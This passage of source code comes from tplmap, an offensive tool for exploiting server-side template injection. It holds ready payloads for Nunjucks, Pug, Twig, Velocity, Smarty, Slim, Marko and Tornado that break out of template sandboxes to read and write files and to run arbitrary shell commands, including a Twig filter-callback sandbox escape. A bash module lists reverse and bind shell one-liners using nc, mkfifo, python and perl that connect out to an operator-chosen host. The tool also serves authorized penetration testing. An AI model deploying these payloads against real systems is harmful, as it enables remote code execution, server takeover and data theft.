'prefix': '%(closure)s#\n', 'suffix' : '\n', 'closures' : python.ctx_closures }, 34 | 35 | # Mako blocks 36 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%doc>' }, 37 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%def name="t(x)">', 'closures' : python.ctx_closures }, 38 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%block>', 'closures' : python.ctx_closures }, 39 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%text>', 'closures' : python.ctx_closures}, 40 | 41 | ]) -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/marko.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Marko(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '${%(code)s}', 15 | 'header': '${"%(header)s"}', 16 | 'trailer': '${"%(trailer)s"}', 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write' : """${require('fs').appendFileSync('%(path)s',Buffer('%(chunk_b64)s','base64'),'binary')}""", 21 | 'truncate' : """${require('fs').writeFileSync('%(path)s','')}""" 22 | }, 23 | 'execute_blind' : { 24 | 'call': 'inject', 25 | 'execute_blind': """${require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')}""" 26 | }, 27 | }) 28 | 29 | self.set_contexts([ 30 | 31 | # Text context, no closures 32 | { 'level': 0 }, 33 | 34 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '${"1"', 'closures' : javascript.ctx_closures }, 35 | 36 | # If escapes require to know the ending tag e.g.
37 | 38 | # This to escape from and 39 | { 'level': 2, 'prefix': '1/>', 'suffix' : '' }, 40 | 41 | ]) 42 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/nunjucks.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Nunjucks(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '{{%(code)s}}', 15 | 'header': '{{%(header)s}}', 16 | 'trailer': '{{%(trailer)s}}', 17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)|dump' % { 18 | 'n1' : rand.randints[0], 19 | 'n2' : rand.randints[1], 20 | 'n3' : rand.randints[2] 21 | }, 22 | 'test_render_expected': '%(res)s' % { 23 | 'res' : rand.randints[1]*rand.randints[2] 24 | } 25 | }, 26 | 'write' : { 27 | 'call' : 'inject', 28 | 'write' : """{{range.constructor("global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')")()}}""", 29 | 'truncate' : """{{range.constructor("global.process.mainModule.require('fs').writeFileSync('%(path)s', '')")()}}""" 30 | }, 31 | 'read' : { 32 | 'call': 'evaluate', 33 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')""" 34 | }, 35 | 'md5' : { 36 | 'call': 'evaluate', 37 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")""" 38 | }, 39 | 'evaluate' : { 40 | 'call': 'render', 41 | 'evaluate' : """range.constructor("return eval(Buffer('%(code_b64)s','base64').toString())")()""", 42 | 'test_os': """global.process.mainModule.require('os').platform()""" 43 | }, 44 | 'execute' : { 45 | 'call': 'evaluate', 46 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""" 47 | }, 48 | 'execute_blind' : { 49 | 'call': 'inject', 50 | 'execute_blind': """{{range.constructor("global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')")()}}""" 51 | }, 52 | }) 53 | 54 | self.set_contexts([ 55 | 56 | # Text context, no closures 57 | { 'level': 0 }, 58 | 59 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : javascript.ctx_closures }, 60 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : javascript.ctx_closures }, 61 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : javascript.ctx_closures }, 62 | 63 | # This escapes string {% set %s = 1 %} 64 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : javascript.ctx_closures }, 65 | 66 | # Comment blocks 67 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' }, 68 | 69 | ]) 70 | 71 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/pug.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import javascript 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Pug(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'call': 'inject', 15 | 'render': '\n= %(code)s\n', 16 | 'header': '\n= %(header)s\n', 17 | 'trailer': '\n= %(trailer)s\n', 18 | }, 19 | # No evaluate_blind here, since we've no sleep, we'll use inject 20 | 'write' : { 21 | 'call' : 'inject', 22 | # Payloads calling inject must start with \n to break out already started lines 23 | 'write' : """\n- global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary') 24 | """, 25 | 'truncate' : """\n- global.process.mainModule.require('fs').writeFileSync('%(path)s', '') 26 | """ 27 | }, 28 | 'read' : { 29 | 'call': 'render', 30 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')""" 31 | }, 32 | 'md5' : { 33 | 'call': 'render', 34 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")""" 35 | }, 36 | 'blind' : { 37 | 'call': 'execute_blind', 38 | 'test_bool_true' : 'true', 39 | 'test_bool_false' : 'false' 40 | }, 41 | # Not using execute here since it's rendered and requires set headers and trailers 42 | 'execute_blind' : { 43 | 'call': 'inject', 44 | # execSync() has been introduced in node 0.11, so this will not work with old node versions. 45 | # TODO: use another function. 46 | 47 | # Payloads calling inject must start with \n to break out already started lines 48 | 49 | # It's two lines command to avoid false positive with Javascript module 50 | 'execute_blind': """ 51 | - x = global.process.mainModule.require 52 | - x('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i') 53 | """ 54 | }, 55 | 'execute' : { 56 | 'call': 'render', 57 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""" 58 | }, 59 | 'evaluate' : { 60 | 'test_os': """global.process.mainModule.require('os').platform()""" 61 | }, 62 | }) 63 | 64 | self.set_contexts([ 65 | 66 | # Text context, no closures 67 | { 'level': 0 }, 68 | 69 | # Attribute close a(href=\'%s\') 70 | { 'level': 1, 'prefix' : '%(closure)s)', 'suffix' : '//', 'closures' : { 1: javascript.ctx_closures[1] } }, 71 | # String interpolation #{ 72 | { 'level': 2, 'prefix' : '%(closure)s}', 'suffix' : '//', 'closures' : javascript.ctx_closures }, 73 | # Code context 74 | { 'level': 2, 'prefix' : '%(closure)s\n', 'suffix' : '//', 'closures' : javascript.ctx_closures }, 75 | ]) 76 | 77 | language = 'javascript' 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/slim.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import ruby 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Slim(ruby.Ruby): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '"#{%(code)s}"', 15 | 'header': """=('%(header)s'+""", 16 | 'trailer': """+'%(trailer)s')""", 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write': """=(require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) })""", 21 | 'truncate' : """=(File.truncate('%(path)s', 0))""" 22 | }, 23 | 'evaluate_blind' : { 24 | 'call': 'inject', 25 | 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i))""" 26 | }, 27 | 'execute_blind' : { 28 | 'call': 'inject', 29 | 'execute_blind': """=(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}))""" 30 | }, 31 | }) 32 | 33 | self.set_contexts([ 34 | 35 | # Text context, no closures 36 | { 'level': 0 }, 37 | 38 | # TODO: add contexts 39 | 40 | ]) 41 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/smarty.py: -------------------------------------------------------------------------------- 1 | from plugins.languages import php 2 | from utils.loggers import log 3 | from utils import rand 4 | from utils.strings import quote 5 | import base64 6 | import re 7 | 8 | class Smarty(php.Php): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '%(code)s', 15 | 'header': '{%(header)s}', 16 | 'trailer': '{%(trailer)s}', 17 | 'test_render': """{%(r1)s}{*%(comment)s*}{%(r2)s}""" % { 18 | 'r1' : rand.randints[0], 19 | 'comment' : rand.randints[1], 20 | 'r2' : rand.randints[2] 21 | }, 22 | 'test_render_expected': '%(r1)s%(r2)s' % { 23 | 'r1' : rand.randints[0], 24 | 'r2' : rand.randints[2] 25 | } 26 | }, 27 | 'evaluate' : { 28 | 'call': 'render', 29 | 'evaluate': """{php}%(code)s{/php}""" 30 | }, 31 | 'evaluate_blind' : { 32 | 'call': 'inject', 33 | 'evaluate_blind': """{php}$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");{/php}""" 34 | }, 35 | 'execute_blind' : { 36 | 'call': 'inject', 37 | 'execute_blind': """{php}$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");{/php}""" 38 | }, 39 | 40 | }) 41 | 42 | self.set_contexts([ 43 | 44 | # Text context, no closures 45 | { 'level': 0 }, 46 | 47 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '{', 'closures' : php.ctx_closures }, 48 | 49 | # {config_load file="missing_file"} raises an exception 50 | 51 | # Escape Ifs 52 | { 'level': 5, 'prefix': '%(closure)s}{/if}{if 1}', 'suffix' : '', 'closures' : php.ctx_closures }, 53 | 54 | # Escape {assign var="%s" value="%s"} 55 | { 'level': 5, 'prefix': '%(closure)s var="" value=""}{assign var="" value=""}', 'suffix' : '', 'closures' : php.ctx_closures }, 56 | 57 | # Comments 58 | { 'level': 5, 'prefix': '*}', 'suffix' : '{*' }, 59 | 60 | ]) -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/tornado.py: -------------------------------------------------------------------------------- 1 | from plugins.languages import python 2 | from utils.loggers import log 3 | from utils import rand 4 | import re 5 | 6 | class Tornado(python.Python): 7 | 8 | def init(self): 9 | 10 | self.update_actions({ 11 | 'render' : { 12 | 'render': '{{%(code)s}}', 13 | 'header': '{{%(header)s}}', 14 | 'trailer': '{{%(trailer)s}}', 15 | 'test_render': """'%(s1)s'}}{%% raw '%(s1)s'.join('%(s2)s') %%}{{'%(s2)s'""" % { 16 | 's1' : rand.randstrings[0], 17 | 's2' : rand.randstrings[1] 18 | }, 19 | 'test_render_expected': '%(res)s' % { 20 | 'res' : rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1] 21 | } 22 | } 23 | }) 24 | 25 | self.set_contexts([ 26 | 27 | # Text context, no closures 28 | { 'level': 0 }, 29 | 30 | # This covers {{%s}} 31 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures }, 32 | 33 | # This covers {% %s %} 34 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures }, 35 | 36 | # Comment blocks 37 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' }, 38 | ]) 39 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/twig.py: -------------------------------------------------------------------------------- 1 | from utils.loggers import log 2 | from plugins.languages import php 3 | from plugins.languages import bash 4 | from utils import rand 5 | import string 6 | 7 | class Twig(php.Php): 8 | 9 | def init(self): 10 | 11 | # The vulnerable versions <1.20.0 allows to map the getFilter() function 12 | # to any PHP function, allowing the sandbox escape. 13 | 14 | # Only functions with 1 parameter can be mapped and eval()/assert() functions are not 15 | # allowed. For this reason, most of the stuff is done by exec() insted of eval()-like code. 16 | 17 | self.update_actions({ 18 | 'render' : { 19 | 'render': '{{%(code)s}}', 20 | 'header': '{{%(header)s}}', 21 | 'trailer': '{{%(trailer)s}}', 22 | # {{7*'7'}} and a{#b#}c work in freemarker as well 23 | # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well 24 | 'test_render': '"%(s1)s\n"|nl2br' % { 25 | 's1' : rand.randstrings[0] 26 | }, 27 | 'test_render_expected': '%(res)s
' % { 28 | 'res' : rand.randstrings[0] 29 | } 30 | }, 31 | 'write' : { 32 | 'call' : 'inject', 33 | 'write' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s'")}}""", 34 | 'truncate' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("echo -n >%(path)s")}}""" 35 | }, 36 | # Hackish way to evaluate PHP code 37 | 'evaluate' : { 38 | 'call': 'execute', 39 | 'evaluate': """php -r '$d="%(code_b64)s";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%%4,"=",STR_PAD_RIGHT)));'""", 40 | 'test_os' : 'echo PHP_OS;', 41 | 'test_os_expected': '^[\w-]+$' 42 | }, 43 | 'execute' : { 44 | 'call': 'render', 45 | 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}'")""", 46 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, 47 | 'test_cmd_expected': rand.randstrings[2] 48 | }, 49 | 'execute_blind' : { 50 | 'call': 'inject', 51 | 'execute_blind': """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}'")}}""" 52 | }, 53 | 'evaluate_blind' : { 54 | 'call': 'execute', 55 | 'evaluate_blind': """php -r '$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%%4,"=",STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");'""" 56 | }, 57 | }) 58 | 59 | self.set_contexts([ 60 | 61 | # Text context, no closures 62 | { 'level': 0 }, 63 | 64 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : php.ctx_closures }, 65 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : php.ctx_closures }, 66 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : php.ctx_closures }, 67 | 68 | # This escapes string "inter#{"asd"}polation" 69 | #{ 'level': 5, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : php.ctx_closures }, 70 | 71 | # This escapes string {% set %s = 1 %} 72 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : php.ctx_closures }, 73 | 74 | ]) 75 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/velocity.py: -------------------------------------------------------------------------------- 1 | from utils.loggers import log 2 | from plugins.languages import java 3 | from utils import rand 4 | from utils.strings import quote 5 | import re 6 | 7 | class Velocity(java.Java): 8 | 9 | def init(self): 10 | 11 | self.update_actions({ 12 | 'render' : { 13 | 'render': '%(code)s', 14 | 'header': '\n#set($h=%(header)s)\n${h}\n', 15 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n', 16 | 'test_render': '#set($c=%(n1)s*%(n2)s)\n${c}\n' % { 17 | 'n1' : rand.randints[0], 18 | 'n2' : rand.randints[1] 19 | }, 20 | 'test_render_expected': '%(res)s' % { 21 | 'res' : rand.randints[0]*rand.randints[1] 22 | } 23 | }, 24 | 'write' : { 25 | 'call' : 'inject', 26 | 'write' : """#set($engine="") 27 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 28 | #set($runtime=$run.getRuntime()) 29 | #set($proc=$runtime.exec("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s")) 30 | #set($null=$proc.waitFor()) 31 | #set($istr=$proc.getInputStream()) 32 | #set($chr=$engine.getClass().forName("java.lang.Character")) 33 | #set($output="") 34 | #set($string=$engine.getClass().forName("java.lang.String")) 35 | #foreach($i in [1..$istr.available()]) 36 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 37 | #end 38 | ${output} 39 | """, 40 | 'truncate' : """#set($engine="") 41 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 42 | #set($runtime=$run.getRuntime()) 43 | #set($proc=$runtime.exec("bash -c {echo,-n,}>%(path)s")) 44 | #set($null=$proc.waitFor()) 45 | #set($istr=$proc.getInputStream()) 46 | #set($chr=$engine.getClass().forName("java.lang.Character")) 47 | #set($output="") 48 | #set($string=$engine.getClass().forName("java.lang.String")) 49 | #foreach($i in [1..$istr.available()]) 50 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 51 | #end 52 | ${output} 53 | """ 54 | }, 55 | 'execute' : { 56 | 57 | # This payload cames from henshin's contribution on 58 | # issue #9. 59 | 60 | 'call': 'render', 61 | 'execute': """#set($engine="") 62 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 63 | #set($runtime=$run.getRuntime()) 64 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}")) 65 | #set($null=$proc.waitFor()) 66 | #set($istr=$proc.getInputStream()) 67 | #set($chr=$engine.getClass().forName("java.lang.Character")) 68 | #set($output="") 69 | #set($string=$engine.getClass().forName("java.lang.String")) 70 | #foreach($i in [1..$istr.available()]) 71 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 72 | #end 73 | ${output} 74 | """ 75 | }, 76 | 'execute_blind' : { 77 | 'call': 'inject', 78 | 'execute_blind': """#set($engine="") 79 | #set($run=$engine.getClass().forName("java.lang.Runtime")) 80 | #set($runtime=$run.getRuntime()) 81 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}")) 82 | #set($null=$proc.waitFor()) 83 | #set($istr=$proc.getInputStream()) 84 | #set($chr=$engine.getClass().forName("java.lang.Character")) 85 | #set($output="") 86 | #set($string=$engine.getClass().forName("java.lang.String")) 87 | #foreach($i in [1..$istr.available()]) 88 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) 89 | #end 90 | ${output} 91 | """ 92 | } 93 | }) 94 | 95 | self.set_contexts([ 96 | 97 | # Text context, no closures 98 | { 'level': 0 }, 99 | 100 | { 'level': 1, 'prefix': '%(closure)s)', 'suffix' : '', 'closures' : java.ctx_closures }, 101 | 102 | # This catches 103 | # #if(%s == 1)\n#end 104 | # #foreach($item in %s)\n#end 105 | # #define( %s )a#end 106 | { 'level': 3, 'prefix': '%(closure)s#end#if(1==1)', 'suffix' : '', 'closures' : java.ctx_closures }, 107 | { 'level': 5, 'prefix': '*#', 'suffix' : '#*' }, 108 | 109 | ]) -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/plugins/languages/__init__.py -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/bash.py: -------------------------------------------------------------------------------- 1 | 2 | echo = """echo '%(s1)s'""" 3 | 4 | bind_shell = [ 5 | """python -c 'import pty,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("", %(port)s));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn("%(shell)s");s.close()'""", 6 | """nc -l -p %(port)s -e %(shell)s""", 7 | """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc -l %(port)s >/tmp/f; rm -rf /tmp/f""", 8 | """socat tcp-l:%(port)s exec:%(shell)s""" 9 | ] 10 | 11 | reverse_shell = [ 12 | """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc %(host)s %(port)s >/tmp/f""", 13 | """sleep 1; nc -e %(shell)s %(host)s %(port)s""", 14 | """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["%(shell)s","-i"]);'""", 15 | "sleep 1; /bin/bash -c \'%(shell)s 0&0 2>&0\'", 16 | """perl -e 'use Socket;$i="%(host)s";$p=%(port)s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("%(shell)s -i");};'""", 17 | # TODO: ruby payload's broken, fix it. 18 | # """ruby -rsocket -e'f=TCPSocket.open("%(host)s",%(port)s).to_i;exec sprintf("%(shell)s -i <&%%d >&%%d 2>&%%d",f,f,f)'""", 19 | """sleep 1; python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("%(shell)s");'""", 20 | ] -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/java.py: -------------------------------------------------------------------------------- 1 | from core.plugin import Plugin 2 | from plugins.languages import bash 3 | from utils import closures 4 | from utils import rand 5 | import re 6 | 7 | class Java(Plugin): 8 | 9 | def language_init(self): 10 | 11 | self.update_actions({ 12 | 13 | 'execute' : { 14 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, 15 | 'test_cmd_expected': rand.randstrings[2], 16 | 'test_os' : """uname""", 17 | 'test_os_expected': '^[\w-]+$' 18 | }, 19 | 20 | 'read' : { 21 | 'call': 'execute', 22 | 'read' : """base64<'%(path)s'""" 23 | }, 24 | 'md5' : { 25 | 'call': 'execute', 26 | 'md5': """$(type -p md5 md5sum)<'%(path)s'|head -c 32""" 27 | }, 28 | # Prepared to used only for blind detection. Not useful for time-boolean 29 | # tests (since && characters can\'t be used) but enough for the detection phase. 30 | 'blind' : { 31 | 'call': 'execute_blind', 32 | 'test_bool_true' : 'true', 33 | 'test_bool_false' : 'false' 34 | }, 35 | 'bind_shell' : { 36 | 'call' : 'execute_blind', 37 | 'bind_shell': bash.bind_shell 38 | }, 39 | 'reverse_shell' : { 40 | 'call': 'execute_blind', 41 | 'reverse_shell' : bash.reverse_shell 42 | } 43 | }) 44 | 45 | language = 'java' 46 | 47 | def rendered_detected(self): 48 | 49 | # Java has no eval() function, hence the checks are done using 50 | # the command execution action. 51 | 52 | test_cmd_code = self.actions.get('execute', {}).get('test_cmd') 53 | test_cmd_code_expected = self.actions.get('execute', {}).get('test_cmd_expected') 54 | 55 | if ( 56 | test_cmd_code and 57 | test_cmd_code_expected and 58 | test_cmd_code_expected == self.execute(test_cmd_code) 59 | ): 60 | self.set('execute', True) 61 | self.set('write', True) 62 | self.set('read', True) 63 | self.set('bind_shell', True) 64 | self.set('reverse_shell', True) 65 | 66 | test_os_code = self.actions.get('execute', {}).get('test_os') 67 | test_os_code_expected = self.actions.get('execute', {}).get('test_os_expected') 68 | 69 | if test_os_code and test_os_code_expected: 70 | 71 | os = self.execute(test_os_code) 72 | if os and re.search(test_os_code_expected, os): 73 | self.set('os', os) 74 | 75 | def blind_detected(self): 76 | 77 | # No blind code evaluation is possible here, only execution 78 | 79 | # Since execution has been used to detect blind injection, 80 | # let's assume execute_blind as set. 81 | self.set('execute_blind', True) 82 | self.set('write', True) 83 | self.set('bind_shell', True) 84 | self.set('reverse_shell', True) 85 | 86 | 87 | ctx_closures = { 88 | 1: [ 89 | closures.close_single_duble_quotes + closures.integer, 90 | closures.close_function + closures.empty 91 | ], 92 | 2: [ 93 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var, 94 | closures.close_function + closures.empty 95 | ], 96 | 3: [ 97 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var, 98 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 99 | ], 100 | 4: [ 101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var, 102 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 103 | ], 104 | 5: [ 105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var + closures.iterable_var, 106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 107 | closures.close_function + closures.close_list + closures.empty, 108 | ] 109 | } 110 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/javascript.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import bash 4 | from utils import closures 5 | from core.plugin import Plugin 6 | from utils import rand 7 | import base64 8 | import re 9 | 10 | 11 | class Javascript(Plugin): 12 | 13 | def language_init(self): 14 | 15 | self.update_actions({ 16 | 'render' : { 17 | 'call': 'inject', 18 | 'render': """%(code)s""", 19 | 'header': """'%(header)s'+""", 20 | 'trailer': """+'%(trailer)s'""", 21 | 'test_render': 'typeof(%(r1)s)+%(r2)s' % { 22 | 'r1' : rand.randints[0], 23 | 'r2' : rand.randints[1] 24 | }, 25 | 'test_render_expected': 'number%(r2)s' % { 26 | 'r2' : rand.randints[1] 27 | } 28 | }, 29 | # No evaluate_blind here, since we've no sleep, we'll use inject 30 | 'write' : { 31 | 'call' : 'inject', 32 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')//""", 33 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')""" 34 | }, 35 | 'read' : { 36 | 'call': 'render', 37 | 'read' : """require('fs').readFileSync('%(path)s').toString('base64')""" 38 | }, 39 | 'md5' : { 40 | 'call': 'render', 41 | 'md5': """require('crypto').createHash('md5').update(require('fs').readFileSync('%(path)s')).digest("hex")""" 42 | }, 43 | 'evaluate' : { 44 | 'call': 'render', 45 | 'evaluate': """eval(Buffer('%(code_b64)s', 'base64').toString())""", 46 | 'test_os': """require('os').platform()""", 47 | 'test_os_expected': '^[\w-]+$', 48 | }, 49 | 'blind' : { 50 | 'call': 'execute_blind', 51 | 'test_bool_true' : 'true', 52 | 'test_bool_false' : 'false' 53 | }, 54 | # Not using execute here since it's rendered and requires set headers and trailers 55 | 'execute_blind' : { 56 | 'call': 'inject', 57 | # execSync() has been introduced in node 0.11, so this will not work with old node versions. 58 | # TODO: use another function. 59 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')//""" 60 | }, 61 | 'execute' : { 62 | 'call': 'render', 63 | 'execute': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""", 64 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, 65 | 'test_cmd_expected': rand.randstrings[2] 66 | }, 67 | 'bind_shell' : { 68 | 'call' : 'execute_blind', 69 | 'bind_shell': bash.bind_shell 70 | }, 71 | 'reverse_shell' : { 72 | 'call': 'execute_blind', 73 | 'reverse_shell' : bash.reverse_shell 74 | } 75 | }) 76 | 77 | self.set_contexts([ 78 | 79 | # Text context, no closures 80 | { 'level': 0 }, 81 | 82 | # This terminates the statement with ; 83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures }, 84 | 85 | # This does not need termination e.g. if(%s) {} 86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures }, 87 | 88 | # Comment blocks 89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' }, 90 | 91 | ]) 92 | 93 | language = 'javascript' 94 | 95 | ctx_closures = { 96 | 1: [ 97 | closures.close_single_duble_quotes + closures.integer, 98 | closures.close_function + closures.empty 99 | ], 100 | 2: [ 101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 102 | closures.close_function + closures.empty 103 | ], 104 | 3: [ 105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 107 | ], 108 | 4: [ 109 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 110 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 111 | ], 112 | 5: [ 113 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 114 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 115 | closures.close_function + closures.close_list + closures.empty, 116 | ], 117 | } 118 | 119 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/php.py: 